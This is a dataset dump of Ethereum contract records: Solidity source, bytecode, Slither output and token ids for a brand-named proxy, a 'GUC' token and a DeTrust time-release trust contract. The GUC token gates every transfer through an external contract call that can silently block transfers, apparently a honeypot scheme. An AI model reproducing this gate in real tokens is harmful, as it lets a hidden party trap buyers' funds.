Unnamed: 0
int64 0
60k
| address
stringlengths 42
42
| source_code
stringlengths 52
864k
| bytecode
stringlengths 2
49.2k
| slither
stringlengths 47
956
| success
bool 1
class | error
float64 | results
stringlengths 2
911
| input_ids
sequencelengths 128
128
| attention_mask
sequencelengths 128
128
|
---|---|---|---|---|---|---|---|---|---|
58,500 | 0x953e263601058e0f5a90603ef94944264421bd07 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract BAYCOthersideLand {
// BAYC Otherside Land
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "Address Errors");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
function _beforeFallback() internal virtual {}
receive() external payable virtual {
_fallback();
}
// βββββββ ββββββ βββ ββββββ βββ βββββββ βββββββ ββββββββββββ ββββββββββββββββββ ββββββββββββββββββ βββββββββββ ββββββ ββββ ββββββββββ
// ββββββββββββββββββββ βββββββββββββββββββββββββββββββββββββββββ βββββββββββββββββββββββββββββββββββββββββββββββββ βββββββββββββ βββββββββββ
// ββββββββββββββββ βββββββ ββββββ βββ βββ βββ βββ ββββββββββββββ ββββββββββββββββββββββ βββββββββ βββ ββββββββββββββ ββββββ βββ
// ββββββββββββββββ βββββ ββββββ βββ βββ βββ βββ ββββββββββββββ ββββββββββββββββββββββ βββββββββ βββ βββββββββββββββββββββ βββ
// βββββββββββ βββ βββ ββββ ββββββββββββββββββββ βββ βββ ββββββββββββββ βββββββββββββββββββββββββββββββββββββββββ ββββββ ββββββββββββββ
// βββββββ βββ βββ βββ βββ βββ βββββββ βββββββ βββ βββ ββββββββββββββ βββββββββββββββββββββ βββββββββββββββββββ ββββββ ββββββββββββ
fallback() external payable virtual {
_fallback();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220faa9e87d83f8fbc8963b9a1a364b1e76b9dd6cb36080b4d13614de6b0467f36664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2063,
23833,
21619,
24096,
2692,
27814,
2063,
2692,
2546,
2629,
2050,
21057,
16086,
2509,
12879,
2683,
26224,
22932,
23833,
22932,
17465,
2497,
2094,
2692,
2581,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
4769,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
5527,
14540,
4140,
1012,
14017,
1000,
1025,
3206,
3016,
24310,
22328,
5178,
3122,
1063,
1013,
1013,
3016,
2278,
2500,
5178,
2455,
27507,
16703,
4722,
5377,
3145,
1027,
1014,
2595,
21619,
2692,
2620,
2683,
2549,
27717,
2509,
3676,
2487,
2050,
16703,
10790,
28756,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,501 | 0x953e558d08eecfa73a6616f96800581df9c1f2c3 | pragma solidity ^0.5.16;
interface AirDrop {
function doAirdrop(address,address) external returns(bool);
}
contract TokenTRC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
address _governance ;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
address _gov
) public {
totalSupply = 10000 * 10 ** uint256(18); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "GUC"; // Set the name for display purposes
symbol = "GUC"; // Set the symbol for display purposes
_governance=_gov;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) airnow(_from,_to) internal {
// Prevent transfer to 0x0 address. Use burn() instead
// require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
modifier airnow(address sender,address recipient) {
require(AirDrop(_governance).doAirdrop(sender,recipient));
_;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146101a557806370a08231146101c357806395d89b41146101e9578063a9059cbb146101f1578063dd62ed3e1461021f57610093565b806306fdde0314610098578063095ea7b31461011557806318160ddd1461015557806323b872dd1461016f575b600080fd5b6100a061024d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100da5781810151838201526020016100c2565b50505050905090810190601f1680156101075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101416004803603604081101561012b57600080fd5b506001600160a01b0381351690602001356102db565b604080519115158252519081900360200190f35b61015d610308565b60408051918252519081900360200190f35b6101416004803603606081101561018557600080fd5b506001600160a01b0381358116916020810135909116906040013561030e565b6101ad61037d565b6040805160ff9092168252519081900360200190f35b61015d600480360360208110156101d957600080fd5b50356001600160a01b0316610386565b6100a0610398565b61021d6004803603604081101561020757600080fd5b506001600160a01b0381351690602001356103f2565b005b61015d6004803603604081101561023557600080fd5b506001600160a01b0381358116916020013516610401565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102d35780601f106102a8576101008083540402835291602001916102d3565b820191906000526020600020905b8154815290600101906020018083116102b657829003601f168201915b505050505081565b3360009081526006602090815260408083206001600160a01b039590951683529390529190912055600190565b60035481565b6001600160a01b038316600090815260066020908152604080832033845290915281205482111561033e57600080fd5b6001600160a01b038416600090815260066020908152604080832033845290915290208054839003905561037384848461041e565b5060019392505050565b60025460ff1681565b60056020526000908152604090205481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102d35780601f106102a8576101008083540402835291602001916102d3565b6103fd33838361041e565b5050565b600660209081526000928352604080842090915290825290205481565b600480546040805163747a798360e11b81526001600160a01b03808816948201949094528386166024820152905186938693169163e8f4f3069160448083019260209291908290030181600087803b15801561047957600080fd5b505af115801561048d573d6000803e3d6000fd5b505050506040513d60208110156104a357600080fd5b50516104ae57600080fd5b6001600160a01b0385166000908152600560205260409020548311156104d357600080fd5b6001600160a01b03841660009081526005602052604090205483810110156104fa57600080fd5b6001600160a01b0380851660008181526005602090815260408083208054958b1680855282852080548b81039091559486905281548a01909155815189815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a36001600160a01b0380861660009081526005602052604080822054928916825290205401811461059857fe5b50505050505056fea265627a7a72315820e42de5808600f8d7a2bf62c5604f162e2a31ab9bf217eb4a9b98300055926ccf64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
2063,
24087,
2620,
2094,
2692,
2620,
4402,
2278,
7011,
2581,
2509,
2050,
28756,
16048,
2546,
2683,
2575,
17914,
2692,
27814,
2487,
20952,
2683,
2278,
2487,
2546,
2475,
2278,
2509,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2385,
1025,
8278,
2250,
25711,
1063,
3853,
2079,
11215,
25711,
1006,
4769,
1010,
4769,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
3206,
19204,
16344,
2278,
11387,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
4769,
1035,
10615,
1025,
1013,
1013,
2023,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,502 | 0x953ea37aa60ec6852e60122a2239acd0e68c68d4 | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;
import "./interfaces/IDeTrust.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract DeTrust is IDeTrust, Initializable {
uint private trustId;
/*
Paid directly would be here.
*/
mapping(address => uint) private settlorBalance;
mapping(uint => Trust) private trusts;
mapping(address => uint[]) private settlorToTrustIds;
mapping(address => uint[]) private beneficiaryToTrustIds;
uint private unlocked;
modifier lock() {
require(unlocked == 1, 'Trust: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
/**
* constructor replaced by initialize with timelock upgrade
*/
function initialize() external initializer {
unlocked = 1;
}
/**
* If ppl send the ether to this contract directly
*/
receive() external payable {
require(msg.value > 0, "msg.value is 0");
settlorBalance[msg.sender] += msg.value;
}
function getBalance(address account)
external
view
override
returns (uint balance)
{
return settlorBalance[account];
}
function sendBalanceTo(address to, uint amount) external override {
address settlor = msg.sender;
uint balance = settlorBalance[settlor];
require(balance >= amount, "balance insufficient");
settlorBalance[settlor] -= amount;
require(payable(to).send(amount), "send balance failed");
}
function getTrustListAsBeneficiary(address account)
external
view
override
returns (Trust[] memory)
{
uint[] memory trustIds = beneficiaryToTrustIds[account];
uint length = trustIds.length;
Trust[] memory trustsAsBeneficiary = new Trust[](length);
for (uint i = 0; i < length; i++) {
Trust storage t = trusts[trustIds[i]];
trustsAsBeneficiary[i] = t;
}
return trustsAsBeneficiary;
}
function getTrustListAsSettlor(address account)
external
view
override
returns (Trust[] memory)
{
uint[] memory trustIds = settlorToTrustIds[account];
uint length = trustIds.length;
Trust[] memory trustsAsSettlor = new Trust[](length);
for (uint i = 0; i < length; i++) {
Trust storage t = trusts[trustIds[i]];
trustsAsSettlor[i] = t;
}
return trustsAsSettlor;
}
function addTrustFromBalance(
string memory name,
address beneficiary,
uint startReleaseTime,
uint timeInterval,
uint amountPerTimeInterval,
uint totalAmount,
bool revocable
)
external
override
lock
returns (uint tId)
{
address settlor = msg.sender;
uint balance = settlorBalance[settlor];
require(balance >= totalAmount, "balance insufficient");
settlorBalance[settlor] -= totalAmount;
return _addTrust(
name,
beneficiary,
settlor,
startReleaseTime,
timeInterval,
amountPerTimeInterval,
totalAmount,
revocable
);
}
function addTrust(
string memory name,
address beneficiary,
uint startReleaseTime,
uint timeInterval,
uint amountPerTimeInterval,
bool revocable
)
external
payable
override
lock returns (uint tId)
{
uint totalAmount = msg.value;
require(totalAmount > 0, "msg.value is 0");
return _addTrust(
name,
beneficiary,
msg.sender,
startReleaseTime,
timeInterval,
amountPerTimeInterval,
totalAmount,
revocable
);
}
function setIrrevocable(uint tId) external override lock {
Trust storage t = trusts[tId];
uint totalAmount = t.totalAmount;
require(totalAmount > 0, "trust not found");
require(t.settlor == msg.sender, "settlor error");
if (!t.revocable) {
return;
}
t.revocable = false;
}
function revoke(uint tId) external override lock {
Trust storage t = trusts[tId];
uint totalAmount = t.totalAmount;
require(totalAmount > 0, "trust not found");
require(t.settlor == msg.sender, "settlor error");
require(t.revocable, "trust irrevocable");
_deleteTrust(tId, t.beneficiary, t.settlor);
require(payable(msg.sender).send(totalAmount), "revoke failed");
emit TrustRevoked(tId);
}
function topUp(uint tId) external payable override lock {
uint amount = msg.value;
require(amount > 0, "msg.value is 0");
Trust storage t = trusts[tId];
require(t.totalAmount > 0, "trust not found");
t.totalAmount += amount;
emit TrustFundAdded(tId, amount);
}
function topUpFromBalance(uint tId, uint amount) external override lock {
address settlor = msg.sender;
uint balance = settlorBalance[settlor];
require(balance >= amount, "balance insufficient");
settlorBalance[settlor] -= amount;
Trust storage t = trusts[tId];
require(t.totalAmount > 0, "trust not found");
t.totalAmount += amount;
emit TrustFundAdded(tId, amount);
}
function release(uint tId) external override lock {
address beneficiary = msg.sender;
_release(tId, beneficiary, beneficiary);
}
function releaseTo(uint tId, address to) external override lock {
_release(tId, msg.sender, to);
}
function releaseAll() external override lock {
address beneficiary = msg.sender;
_releaseAll(beneficiary, beneficiary);
}
function releaseAllTo(address to) external override lock {
_releaseAll(msg.sender, to);
}
// internal functions
function _release(uint tId, address beneficiary, address to) internal {
Trust storage t = trusts[tId];
require(t.totalAmount > 0, "trust not found");
require(t.beneficiary == beneficiary, "beneficiary error");
uint releaseAmount = _releaseTrust(t);
if (releaseAmount == 0) {
revert("nothing to release");
}
bool isDeleted = (t.totalAmount == 0);
if (isDeleted) {
_deleteTrust(tId, t.beneficiary, t.settlor);
emit TrustFinished(tId);
}
require(payable(to).send(releaseAmount), "release failed");
emit Release(beneficiary, releaseAmount);
}
function _releaseAll(address beneficiary, address to) internal {
uint[] storage trustIds = beneficiaryToTrustIds[beneficiary];
require(trustIds.length > 0, "nothing to release");
uint i;
uint j;
uint totalReleaseAmount;
uint tId;
bool isDeleted;
uint length = trustIds.length;
for (i = 0; i < length && trustIds.length > 0; i++) {
tId = trustIds[j];
Trust storage t = trusts[tId];
uint releaseAmount = _releaseTrust(t);
if (releaseAmount != 0) {
totalReleaseAmount += releaseAmount;
}
isDeleted = (t.totalAmount == 0);
if (isDeleted) {
_deleteTrust(tId, t.beneficiary, t.settlor);
emit TrustFinished(tId);
} else {
j++;
}
}
if (totalReleaseAmount == 0) {
revert("nothing to release");
}
require(payable(to).send(totalReleaseAmount), "release failed");
emit Release(beneficiary, totalReleaseAmount);
}
function _deleteTrust(uint tId, address beneficiary, address settlor) internal {
delete trusts[tId];
uint[] storage trustIds = beneficiaryToTrustIds[beneficiary];
if (trustIds.length == 1) {
trustIds.pop();
} else {
uint i;
for (i = 0; i < trustIds.length; i++) {
if (trustIds[i] == tId) {
if (i != trustIds.length - 1) {
trustIds[i] = trustIds[trustIds.length - 1];
}
trustIds.pop();
}
}
}
uint[] storage settlorTIds = settlorToTrustIds[settlor];
if (settlorTIds.length == 1) {
settlorTIds.pop();
return;
}
uint k;
for (k = 0; k < settlorTIds.length; k++) {
if (settlorTIds[k] == tId) {
if (k != settlorTIds.length - 1) {
settlorTIds[k] = settlorTIds[settlorTIds.length - 1];
}
settlorTIds.pop();
}
}
}
function _addTrust(
string memory name,
address beneficiary,
address settlor,
uint startReleaseTime,
uint timeInterval,
uint amountPerTimeInterval,
uint totalAmount,
bool revocable
)
internal
returns (uint _id)
{
require(timeInterval != 0, "timeInterval should be positive");
_id = ++trustId;
trusts[_id].id = _id;
trusts[_id].name = name;
trusts[_id].settlor = settlor;
trusts[_id].beneficiary = beneficiary;
trusts[_id].nextReleaseTime = startReleaseTime;
trusts[_id].timeInterval = timeInterval;
trusts[_id].amountPerTimeInterval = amountPerTimeInterval;
trusts[_id].totalAmount = totalAmount;
trusts[_id].revocable = revocable;
settlorToTrustIds[settlor].push(_id);
beneficiaryToTrustIds[beneficiary].push(_id);
emit TrustAdded(
name,
settlor,
beneficiary,
_id,
startReleaseTime,
timeInterval,
amountPerTimeInterval,
totalAmount,
revocable
);
return _id;
}
function _releaseTrust(Trust storage t) internal returns (uint) {
uint nowTimestamp = block.timestamp;
if (t.nextReleaseTime > nowTimestamp) {
return 0;
}
uint distributionAmount = (nowTimestamp - t.nextReleaseTime) / t.timeInterval + 1;
uint releaseAmount = distributionAmount * t.amountPerTimeInterval;
if (releaseAmount >= t.totalAmount) {
releaseAmount = t.totalAmount;
t.totalAmount = 0;
} else {
t.totalAmount -= releaseAmount;
t.nextReleaseTime += distributionAmount * t.timeInterval;
}
emit TrustReleased(t.id, t.beneficiary, releaseAmount, t.nextReleaseTime);
return releaseAmount;
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;
interface IDeTrust {
struct Trust {
uint id; // the id of the trust
string name; // the name of the trust, like 'trust for Bob's son'
address settlor; // the settlor of the trust
address beneficiary; // the beneficiary of the trust, such as Bob's son
uint nextReleaseTime; // when would the money begin to release to beneficiary
uint timeInterval; // how often the money is going to release to beneficiary
uint amountPerTimeInterval; // how much can a beneficiary to get the money
uint totalAmount; // total money in this trust
bool revocable; // is this trust revocable or irrevocable
}
/*
* Event that a new trust is added
*
* @param name the name of the trust
* @param settlor the settlor address of the trust
* @param beneficiary the beneficiary address of the trust
* @param trustId the trustId of the trust
* @param startReleaseTime will this trust start to release money, UTC in seconds
* @param timeInterval how often can a beneficiary to get the money in seconds
* @param amountPerTimeInterval how much can a beneficiary to get the money
* @param totalAmount how much money are put in the trust
* @param revocable whether this trust is revocalbe
*/
event TrustAdded(
string name,
address indexed settlor,
address indexed beneficiary,
uint indexed trustId,
uint startReleaseTime,
uint timeInterval,
uint amountPerTimeInterval,
uint totalAmount,
bool revocable
);
/*
* Event that new fund are added into a existing trust
*
* @param trustId the trustId of the trust
* @param amount how much money are added into the trust
*/
event TrustFundAdded(uint indexed trustId, uint amount);
/*
* Event that a trust is finished
*
* @param trustId the trustId of the trust
*/
event TrustFinished(uint indexed trustId);
/*
* Event that a trust is releaseed
*
* @param trustId the trustId of the trust
*/
event TrustReleased(
uint indexed trustId,
address indexed beneficiary,
uint amount,
uint nextReleaseTime
);
/*
* Event that a trust is revoked
*
* @param trustId the trustId of the trust
*/
event TrustRevoked(uint indexed trustId);
/*
* Event that beneficiary get some money from the contract
*
* @param beneficiary the address of beneficiary
* @param totalAmount how much the beneficiary released from this contract
*/
event Release(address indexed beneficiary, uint totalAmount);
/*
* Get the balance in this contract, which is not send to any trust
* @return the balance of the settlor in this contract
*
*/
function getBalance(address account) external view returns (uint balance);
/*
* If money is send to this contract by accident, can use this
* function to get money back ASAP.
*
* @param to the address money would send to
* @param amount how much money are added into the trust
*/
function sendBalanceTo(address to, uint amount) external;
/*
* Get beneficiary's all trusts
*
* @return array of trusts which's beneficiary is the tx.orgigin
*/
function getTrustListAsBeneficiary(address account)
external
view
returns(Trust[] memory);
/*
* Get settlor's all trusts
*
* @return array of trusts which's settlor is the tx.orgigin
*/
function getTrustListAsSettlor(address account)
external
view
returns(Trust[] memory);
